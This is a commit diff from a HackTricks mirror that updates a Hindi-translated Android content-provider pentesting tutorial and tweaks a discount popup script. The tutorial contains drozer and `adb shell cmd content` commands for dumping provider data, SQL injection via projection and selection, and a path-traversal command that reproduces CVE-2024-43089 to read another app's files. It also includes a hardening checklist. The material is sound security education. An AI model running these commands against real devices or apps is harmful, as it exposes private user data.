mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/drozer-tutoria
This commit is contained in:
Translator
parent
43fadfd384
commit
30efc3f89c
@ -4,7 +4,7 @@
|
||||
|
||||
## Intro
|
||||
|
||||
डेटा **एक एप्लिकेशन से अन्य एप्लिकेशनों को** एक **सामग्री प्रदाता** के रूप में जाने जाने वाले घटक द्वारा अनुरोध पर प्रदान किया जाता है। इन अनुरोधों का प्रबंधन **ContentResolver class** के तरीकों के माध्यम से किया जाता है। सामग्री प्रदाता अपने डेटा को विभिन्न स्थानों में संग्रहीत कर सकते हैं, जैसे कि **डेटाबेस**, **फाइलें**, या एक **नेटवर्क** पर।
|
||||
डेटा **एक एप्लिकेशन से अन्य एप्लिकेशनों को** एक **सामग्री प्रदाता** के रूप में जाने जाने वाले घटक द्वारा अनुरोध पर प्रदान किया जाता है। इन अनुरोधों का प्रबंधन **ContentResolver class** विधियों के माध्यम से किया जाता है। सामग्री प्रदाता अपने डेटा को विभिन्न स्थानों पर संग्रहीत कर सकते हैं, जैसे कि **डेटाबेस**, **फाइलें**, या एक **नेटवर्क** पर।
|
||||
|
||||
_Manifest.xml_ फ़ाइल में, सामग्री प्रदाता की घोषणा आवश्यक है। उदाहरण के लिए:
|
||||
```xml
|
||||
@ -16,7 +16,7 @@ _Manifest.xml_ फ़ाइल में, सामग्री प्रदा
|
||||
|
||||
**शायद आप निजी डेटा तक पहुँच सकते हैं या कुछ कमजोरियों (SQL Injection या Path Traversal) का लाभ उठा सकते हैं।**
|
||||
|
||||
## **exposed content providers** से जानकारी प्राप्त करें
|
||||
## **खुली सामग्री प्रदाताओं** से जानकारी प्राप्त करें
|
||||
```
|
||||
dz> run app.provider.info -a com.mwr.example.sieve
|
||||
Package: com.mwr.example.sieve
|
||||
@ -56,16 +56,16 @@ content://com.mwr.example.sieve.DBContentProvider/Passwords/
|
||||
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
इसके अलावा, यदि आप पूर्ण क्वेरीज़ नहीं ढूंढ पा रहे हैं, तो आप **जांच सकते हैं कि ContentProvider द्वारा कौन से नाम घोषित किए गए हैं** `onCreate` मेथड पर:
|
||||
इसके अलावा, यदि आप पूर्ण क्वेरीज़ नहीं खोज पा रहे हैं, तो आप **जांच सकते हैं कि ContentProvider द्वारा कौन से नाम घोषित किए गए हैं** `onCreate` मेथड पर:
|
||||
|
||||
.png>)
|
||||
|
||||
क्वेरी इस तरह होगी: `content://name.of.package.class/declared_name`
|
||||
|
||||
## **डेटाबेस-समर्थित कंटेंट प्रोवाइडर**
|
||||
## **डेटाबेस-समर्थित Content Providers**
|
||||
|
||||
संभवतः अधिकांश Content Providers का उपयोग **डेटाबेस** के लिए **इंटरफेस** के रूप में किया जाता है। इसलिए, यदि आप इसे एक्सेस कर सकते हैं, तो आप **जानकारी निकालने, अपडेट करने, डालने और हटाने** में सक्षम हो सकते हैं।\
|
||||
जांचें कि क्या आप **संवेदनशील जानकारी** तक पहुँच सकते हैं या इसे **अधिकृतता** तंत्र को बायपास करने के लिए बदलने की कोशिश करें।
|
||||
जांचें कि क्या आप **संवेदनशील जानकारी** तक पहुँच सकते हैं या इसे **अधिकृतता** तंत्र को **बायपास** करने के लिए बदलने की कोशिश करें।
|
||||
|
||||
Content Provider के कोड की जांच करते समय **देखें** कि क्या **फंक्शंस** नामित हैं जैसे: _query, insert, update और delete_:
|
||||
|
||||
@ -93,7 +93,7 @@ email: incognitoguy50@gmail.com
|
||||
|
||||
.png>)
|
||||
|
||||
_ध्यान दें कि इनसर्ट और अपडेट में आप --string का उपयोग स्ट्रिंग को इंगित करने के लिए, --double को डबल को इंगित करने के लिए, --float, --integer, --long, --short, --boolean का उपयोग कर सकते हैं_
|
||||
_ध्यान दें कि इनसर्ट और अपडेट में आप --string का उपयोग स्ट्रिंग, --double का उपयोग डबल, --float, --integer, --long, --short, --boolean को इंगित करने के लिए कर सकते हैं_
|
||||
|
||||
### Update content
|
||||
|
||||
@ -107,7 +107,7 @@ _ध्यान दें कि इनसर्ट और अपडेट म
|
||||
|
||||
### **SQL Injection**
|
||||
|
||||
SQL इंजेक्शन **(SQLite)** के लिए परीक्षण करना सरल है **प्रोजेक्शन** और **चयन फ़ील्ड्स** को कंटेंट प्रोवाइडर को पास करके।\
|
||||
SQL इंजेक्शन **(SQLite)** के लिए परीक्षण करना सरल है **प्रोजेक्शन** और **चयन फ़ील्ड्स** को मैनिपुलेट करके जो कंटेंट प्रोवाइडर को पास किए जाते हैं।\
|
||||
कंटेंट प्रोवाइडर को क्वेरी करते समय जानकारी खोजने के लिए 2 दिलचस्प तर्क हैं: _--selection_ और _--projection_:
|
||||
|
||||
.png>)
|
||||
@ -173,10 +173,62 @@ Vulnerable Providers:
|
||||
content://com.mwr.example.sieve.FileBackupProvider/
|
||||
content://com.mwr.example.sieve.FileBackupProvider
|
||||
```
|
||||
## 2023-2025 अपडेट और आधुनिक टिप्स
|
||||
|
||||
### Drozer 3.x (Python 3) जारी है
|
||||
|
||||
WithSecure ने 2022 में drozer का रखरखाव फिर से शुरू किया और फ्रेमवर्क को **Python 3** (नवीनतम **3.1.0 – अप्रैल 2024**) में पोर्ट किया।
|
||||
संगतता सुधारों के अलावा, Content Providers के साथ काम करते समय विशेष रूप से उपयोगी नए मॉड्यूल शामिल हैं:
|
||||
|
||||
* `scanner.provider.exported` – केवल उन प्रदाताओं की सूची बनाएं जिनके पास `android:exported="true"` है।
|
||||
* `app.provider.grant` – स्वचालित रूप से `grantUriPermission()` को कॉल करें ताकि आप उन प्रदाताओं से बात कर सकें जो Android 12+ पर `FLAG_GRANT_READ_URI_PERMISSION` / `FLAG_GRANT_WRITE_URI_PERMISSION` की अपेक्षा करते हैं।
|
||||
* **Scoped Storage** का बेहतर प्रबंधन ताकि Android 11+ पर फ़ाइल-आधारित प्रदाता अभी भी पहुँचे जा सकें।
|
||||
|
||||
अपग्रेड (होस्ट और एजेंट):
|
||||
```bash
|
||||
pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0"
|
||||
adb install drozer-agent-3.1.0.apk
|
||||
```
|
||||
### Using the built-in `cmd content` helper (ADB ≥ 8.0)
|
||||
|
||||
सभी आधुनिक Android उपकरणों में एक CLI होता है जो प्रदाताओं को **किसी एजेंट को स्थापित किए बिना** क्वेरी/अपडेट कर सकता है:
|
||||
```bash
|
||||
adb shell cmd content query --uri content://com.test.provider/items/
|
||||
adb shell cmd content update --uri content://com.test.provider/items/1 \
|
||||
--bind price:d:1337
|
||||
adb shell cmd content call --uri content://com.test.provider \
|
||||
--method evilMethod --arg 'foo'
|
||||
```
|
||||
`run-as <pkg>` या एक रूटेड शेल के साथ मिलाकर आंतरिक-केवल प्रदाताओं का परीक्षण करें।
|
||||
|
||||
### हाल के वास्तविक दुनिया के CVEs जिन्होंने Content Providers का दुरुपयोग किया
|
||||
|
||||
| CVE | वर्ष | घटक | बग वर्ग | प्रभाव |
|
||||
|-----|------|-----------|-----------|--------|
|
||||
| CVE-2024-43089 | 2024 | MediaProvider | `openFile()` में पथ यात्रा | किसी भी ऐप के निजी स्टोरेज से मनमाना फ़ाइल पढ़ना |
|
||||
| CVE-2023-35670 | 2023 | MediaProvider | पथ यात्रा | जानकारी का खुलासा |
|
||||
|
||||
एक कमजोर निर्माण पर CVE-2024-43089 को फिर से बनाएं:
|
||||
```bash
|
||||
adb shell cmd content read \
|
||||
--uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml
|
||||
```
|
||||
### API 30+ के लिए हार्डनिंग चेकलिस्ट
|
||||
|
||||
* `android:exported="false"` घोषित करें जब तक कि प्रदाता **सार्वजनिक** न हो – API 31 से यह विशेषता अनिवार्य है।
|
||||
* पूरे प्रदाता को निर्यात करने के बजाय **अनुमतियों** और/या `android:grantUriPermissions="true"` को लागू करें।
|
||||
* अनुमत `projection`, `selection` और `sortOrder` तर्कों की सफेद सूची बनाएं (जैसे `SQLiteQueryBuilder.setProjectionMap` के साथ क्वेरी बनाना)।
|
||||
* `openFile()` में अनुरोधित पथ को मानकीकरण करें (`FileUtils`) और यात्रा को रोकने के लिए `..` अनुक्रमों को अस्वीकार करें।
|
||||
* फ़ाइलों को उजागर करते समय **स्टोरेज एक्सेस फ्रेमवर्क** या `FileProvider` को प्राथमिकता दें।
|
||||
|
||||
हाल के Android संस्करणों में ये परिवर्तन कई विरासती शोषण प्राइमिटिव अभी भी काम करते हैं, लेकिन अतिरिक्त ध्वज/अनुमतियों की आवश्यकता होती है जिन्हें अपडेट किए गए drozer मॉड्यूल या `cmd content` सहायक स्वचालित रूप से लागू कर सकते हैं।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [https://www.tutorialspoint.com/android/android_content_providers.htm](https://www.tutorialspoint.com/android/android_content_providers.htm)
|
||||
- [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/)
|
||||
- [https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)
|
||||
- [https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0](https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0)
|
||||
- [https://source.android.com/security/bulletin/2024-07-01](https://source.android.com/security/bulletin/2024-07-01)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
46
theme/ai.js
46
theme/ai.js
@ -4,9 +4,10 @@
|
||||
|
||||
|
||||
(() => {
|
||||
const KEY = 'htSummerDiscountDismissed';
|
||||
const IMG = '/images/discount.jpeg';
|
||||
const TXT = 'HT Summer Discount, Last Days!';
|
||||
const KEY = 'htSummerDiscountsDismissed';
|
||||
const IMG = '/images/discount.jpeg';
|
||||
const TXT = 'Click here for HT Summer Discounts, Last Days!';
|
||||
const URL = 'https://training.hacktricks.xyz';
|
||||
|
||||
/* Stop if user already dismissed */
|
||||
if (localStorage.getItem(KEY) === 'true') return;
|
||||
@ -32,13 +33,37 @@
|
||||
display: flex; flex-direction: column; align-items: stretch;
|
||||
`);
|
||||
|
||||
/* --- Title bar (separate, over image) --- */
|
||||
/* --- Title bar (link + close) --- */
|
||||
const titleBar = $('div', `
|
||||
padding: 1rem; text-align: center;
|
||||
position: relative;
|
||||
padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */
|
||||
text-align: center;
|
||||
background: #222; color: #fff;
|
||||
font-size: 1.3rem; font-weight: 700;
|
||||
`);
|
||||
titleBar.textContent = TXT;
|
||||
|
||||
const link = $('a', `
|
||||
color: inherit;
|
||||
text-decoration: none;
|
||||
display: block;
|
||||
`);
|
||||
link.href = URL;
|
||||
link.target = '_blank';
|
||||
link.rel = 'noopener noreferrer';
|
||||
link.textContent = TXT;
|
||||
titleBar.appendChild(link);
|
||||
|
||||
/* Close "X" (no persistence) */
|
||||
const closeBtn = $('button', `
|
||||
position: absolute; top: .25rem; right: .5rem;
|
||||
background: transparent; border: none;
|
||||
color: #fff; font-size: 1.4rem; line-height: 1;
|
||||
cursor: pointer; padding: 0; margin: 0;
|
||||
`);
|
||||
closeBtn.setAttribute('aria-label', 'Close');
|
||||
closeBtn.textContent = '✕';
|
||||
closeBtn.onclick = () => overlay.remove();
|
||||
titleBar.appendChild(closeBtn);
|
||||
|
||||
/* --- Image --- */
|
||||
const img = $('img');
|
||||
@ -62,14 +87,15 @@
|
||||
modal.append(titleBar, img, label);
|
||||
overlay.appendChild(modal);
|
||||
|
||||
(document.readyState === 'loading'
|
||||
? () => document.addEventListener('DOMContentLoaded', () => document.body.appendChild(overlay), { once: true })
|
||||
: () => document.body.appendChild(overlay))();
|
||||
if (document.readyState === 'loading') {
|
||||
document.addEventListener('DOMContentLoaded', () => document.body.appendChild(overlay), { once: true });
|
||||
} else {
|
||||
document.body.appendChild(overlay);
|
||||
}
|
||||
})();
|
||||
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* HackTricks AI Chat Widget v1.16 – resizable sidebar
|
||||
* ---------------------------------------------------
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user